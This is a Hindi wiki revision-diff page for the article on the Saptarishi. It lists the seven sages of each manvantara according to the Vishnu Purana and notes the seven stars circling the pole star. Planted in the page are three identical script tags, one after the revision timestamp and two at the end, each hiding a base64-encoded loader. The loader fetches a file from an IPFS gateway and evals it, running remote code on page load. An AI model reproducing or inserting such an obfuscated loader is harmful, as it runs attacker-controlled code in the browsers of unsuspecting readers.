"सप्तर्षि" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "{{ॠषि-मुनि}}" to "") |
|||
(७ सदस्यों द्वारा किये गये बीच के १२ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{menu}} | + | {{menu}} |
− | ==सप्तर्षि / | + | ==सप्तर्षि / [[:en:Saptarishi|Saptarishi]]== |
*सप्तर्षि-मण्डल आकाश में सुप्रसिद्ध ज्योतिर्मण्डलों में है। इसके अधिष्ठाता ऋषिगण लोक में ज्ञान-परम्परा को सुरक्षित रखते हैं। अधिकारी जिज्ञासु को प्रत्यक्ष या परोक्ष, जैसा वह अधिकारी हो, तत्त्वज्ञान की ओर उन्मुख करके मुक्ति-पथ में लगाते हैं। | *सप्तर्षि-मण्डल आकाश में सुप्रसिद्ध ज्योतिर्मण्डलों में है। इसके अधिष्ठाता ऋषिगण लोक में ज्ञान-परम्परा को सुरक्षित रखते हैं। अधिकारी जिज्ञासु को प्रत्यक्ष या परोक्ष, जैसा वह अधिकारी हो, तत्त्वज्ञान की ओर उन्मुख करके मुक्ति-पथ में लगाते हैं। | ||
− | *प्रत्येक मन्वन्तर में इनमें से कुछ ऋषि परिवर्तित होते रहते हैं। | + | *प्रत्येक [[मन्वन्तर]] में इनमें से कुछ ऋषि परिवर्तित होते रहते हैं। |
− | * | + | *[[विष्णु पुराण]] के अनुसार इनकी नामावली इस प्रकार है- |
− | #प्रथम स्वायम्भुव मन्वन्तर में- [[मरीचि]], [[अत्रि]], [[अंगिरा]], [[पुलस्त्य]], [[पुलह]], [[क्रतु]] और [[ | + | #प्रथम स्वायम्भुव मन्वन्तर में- [[मरीचि]], [[अत्रि]], [[अंगिरा]], [[पुलस्त्य]], [[पुलह]], [[क्रतु]] और [[वसिष्ठ|वशिष्ठ]]। |
#द्वितीय स्वारोचिष मन्वन्तर में— ऊर्ज्ज, स्तम्भ, वात, प्राण, पृषभ, निरय और परीवान। | #द्वितीय स्वारोचिष मन्वन्तर में— ऊर्ज्ज, स्तम्भ, वात, प्राण, पृषभ, निरय और परीवान। | ||
− | #तृतीय उत्तम मन्वन्तर में— महर्षि [[ | + | #तृतीय उत्तम मन्वन्तर में— महर्षि [[वसिष्ठ|वशिष्ठ]] के सातों पुत्र। |
#चतुर्थ तामस मन्वन्तर में— [[ज्योतिर्धामा]], [[पृथु]], [[काव्य]], [[चैत्र]], [[अग्नि]], [[वनक]] और [[पीवर]]। | #चतुर्थ तामस मन्वन्तर में— [[ज्योतिर्धामा]], [[पृथु]], [[काव्य]], [[चैत्र]], [[अग्नि]], [[वनक]] और [[पीवर]]। | ||
#पंचम रैवत मन्वन्तर में— हिरण्यरोमा, वेदश्री, ऊर्ध्वबाहु, वेदबाहु, सुधामा, पर्जन्य और महामुनि। | #पंचम रैवत मन्वन्तर में— हिरण्यरोमा, वेदश्री, ऊर्ध्वबाहु, वेदबाहु, सुधामा, पर्जन्य और महामुनि। | ||
− | षष्ठ चाक्षुष मन्वन्तर में— सुमेधा, विरजा, हविष्मान, उतम, मधु, अतिनामा और सहिष्णु। | + | #षष्ठ चाक्षुष मन्वन्तर में— सुमेधा, विरजा, हविष्मान, उतम, मधु, अतिनामा और सहिष्णु। |
− | #वर्तमान सप्तम वैवस्वत मन्वन्तर में— [[कश्यप]], [[अत्रि]], [[ | + | #वर्तमान सप्तम वैवस्वत मन्वन्तर में— [[कश्यप]], [[अत्रि]], [[वसिष्ठ|वशिष्ठ]], [[विश्वामित्र]], [[गौतम]], [[जमदग्नि]] और [[भारद्वाज]]। |
#अष्टम सावर्णिक मन्वन्तर में— [[गालव]], [[दीप्तिमान]], [[परशुराम]], [[अश्वत्थामा]], [[कृप]], [[ऋष्यश्रृंग]] और [[व्यास]]। | #अष्टम सावर्णिक मन्वन्तर में— [[गालव]], [[दीप्तिमान]], [[परशुराम]], [[अश्वत्थामा]], [[कृप]], [[ऋष्यश्रृंग]] और [[व्यास]]। | ||
#नवम दक्षसावर्णि मन्वन्तर में— मेधातिथि, वसु, सत्य, ज्योतिष्मान, द्युतिमान, सबन और भव्य। | #नवम दक्षसावर्णि मन्वन्तर में— मेधातिथि, वसु, सत्य, ज्योतिष्मान, द्युतिमान, सबन और भव्य। | ||
#दशम ब्रह्मसावर्णि मन्वन्तर में— तपोमूर्ति, हविष्मान, सुकृत, सत्य, [[नाभाग]], अप्रतिमौजा और सत्यकेतु। | #दशम ब्रह्मसावर्णि मन्वन्तर में— तपोमूर्ति, हविष्मान, सुकृत, सत्य, [[नाभाग]], अप्रतिमौजा और सत्यकेतु। | ||
− | #एकादश धर्मसावर्णि मन्वन्तर में— वपुष्मान्, घृणि, [[आरूणि]], नि:स्वर, हविष्मान्, अनघ, और अग्नितेजा। | + | #एकादश धर्मसावर्णि मन्वन्तर में— वपुष्मान्, घृणि, [[आरूणि उद्दालक की कथा|आरूणि]], नि:स्वर, हविष्मान्, अनघ, और अग्नितेजा। |
− | #द्वादश | + | #द्वादश रुद्रसावर्णि मन्वन्तर में— तपोद्युति, तपस्वी, सुतपा, तपोमूर्ति, तपोनिधि, तपोरति और तपोधृति। |
#त्रयोदश देवसावर्णि मन्वन्तर में— धृतिमान्, अव्यय, तत्त्वदर्शी, निरूत्सुक, निर्मोह, सुतपा और निष्प्रकम्प। | #त्रयोदश देवसावर्णि मन्वन्तर में— धृतिमान्, अव्यय, तत्त्वदर्शी, निरूत्सुक, निर्मोह, सुतपा और निष्प्रकम्प। | ||
#चतुर्दश इन्द्रसावर्णि मन्वन्तर में— अग्नीध्र, [[अग्नि]], [[बाहु]], [[शुचि]], युक्त, [[मागध]], [[शुक्र]] और अजित।। | #चतुर्दश इन्द्रसावर्णि मन्वन्तर में— अग्नीध्र, [[अग्नि]], [[बाहु]], [[शुचि]], युक्त, [[मागध]], [[शुक्र]] और अजित।। | ||
पंक्ति २३: | पंक्ति २३: | ||
#[[भारद्वाज]], | #[[भारद्वाज]], | ||
#[[विश्वामित्र]], | #[[विश्वामित्र]], | ||
− | #[[ | + | #[[जमदग्नि]], |
#[[वसिष्ठ]], | #[[वसिष्ठ]], | ||
#[[कश्यप]] और | #[[कश्यप]] और | ||
पंक्ति ३७: | पंक्ति ३७: | ||
*इसके अतिरिक्त सप्तऋषि से उन सात तारों का बोध होता है, जो [[ध्रुवतारा]] की परिक्रमा करते हैं। | *इसके अतिरिक्त सप्तऋषि से उन सात तारों का बोध होता है, जो [[ध्रुवतारा]] की परिक्रमा करते हैं। | ||
+ | ==सम्बंधित लिंक== | ||
+ | {{ॠषि-मुनि2}} | ||
− | [[ | + | [[en:Saptrishi]] |
− | [[ | + | [[Category: कोश]] |
− | [[ | + | [[Category:ऋषि मुनि]] |
+ | [[Category:पौराणिक इतिहास]] | ||
+ | __INDEX__ |
१९:५४, २७ अक्टूबर २०११ के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
सप्तर्षि / Saptarishi
- सप्तर्षि-मण्डल आकाश में सुप्रसिद्ध ज्योतिर्मण्डलों में है। इसके अधिष्ठाता ऋषिगण लोक में ज्ञान-परम्परा को सुरक्षित रखते हैं। अधिकारी जिज्ञासु को प्रत्यक्ष या परोक्ष, जैसा वह अधिकारी हो, तत्त्वज्ञान की ओर उन्मुख करके मुक्ति-पथ में लगाते हैं।
- प्रत्येक मन्वन्तर में इनमें से कुछ ऋषि परिवर्तित होते रहते हैं।
- विष्णु पुराण के अनुसार इनकी नामावली इस प्रकार है-
- प्रथम स्वायम्भुव मन्वन्तर में- मरीचि, अत्रि, अंगिरा, पुलस्त्य, पुलह, क्रतु और वशिष्ठ।
- द्वितीय स्वारोचिष मन्वन्तर में— ऊर्ज्ज, स्तम्भ, वात, प्राण, पृषभ, निरय और परीवान।
- तृतीय उत्तम मन्वन्तर में— महर्षि वशिष्ठ के सातों पुत्र।
- चतुर्थ तामस मन्वन्तर में— ज्योतिर्धामा, पृथु, काव्य, चैत्र, अग्नि, वनक और पीवर।
- पंचम रैवत मन्वन्तर में— हिरण्यरोमा, वेदश्री, ऊर्ध्वबाहु, वेदबाहु, सुधामा, पर्जन्य और महामुनि।
- षष्ठ चाक्षुष मन्वन्तर में— सुमेधा, विरजा, हविष्मान, उतम, मधु, अतिनामा और सहिष्णु।
- वर्तमान सप्तम वैवस्वत मन्वन्तर में— कश्यप, अत्रि, वशिष्ठ, विश्वामित्र, गौतम, जमदग्नि और भारद्वाज।
- अष्टम सावर्णिक मन्वन्तर में— गालव, दीप्तिमान, परशुराम, अश्वत्थामा, कृप, ऋष्यश्रृंग और व्यास।
- नवम दक्षसावर्णि मन्वन्तर में— मेधातिथि, वसु, सत्य, ज्योतिष्मान, द्युतिमान, सबन और भव्य।
- दशम ब्रह्मसावर्णि मन्वन्तर में— तपोमूर्ति, हविष्मान, सुकृत, सत्य, नाभाग, अप्रतिमौजा और सत्यकेतु।
- एकादश धर्मसावर्णि मन्वन्तर में— वपुष्मान्, घृणि, आरूणि, नि:स्वर, हविष्मान्, अनघ, और अग्नितेजा।
- द्वादश रुद्रसावर्णि मन्वन्तर में— तपोद्युति, तपस्वी, सुतपा, तपोमूर्ति, तपोनिधि, तपोरति और तपोधृति।
- त्रयोदश देवसावर्णि मन्वन्तर में— धृतिमान्, अव्यय, तत्त्वदर्शी, निरूत्सुक, निर्मोह, सुतपा और निष्प्रकम्प।
- चतुर्दश इन्द्रसावर्णि मन्वन्तर में— अग्नीध्र, अग्नि, बाहु, शुचि, युक्त, मागध, शुक्र और अजित।।
- इन ऋषियों में से सब कल्पान्त-चिरजीवी, मुक्तात्मा और दिव्यदेहधारी हैं।
- 'शतपथ ब्राह्मण' के अनुसार
- 'महाभारत' के अनुसार
- इसके अतिरिक्त सप्तऋषि से उन सात तारों का बोध होता है, जो ध्रुवतारा की परिक्रमा करते हैं।
सम्बंधित लिंक
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>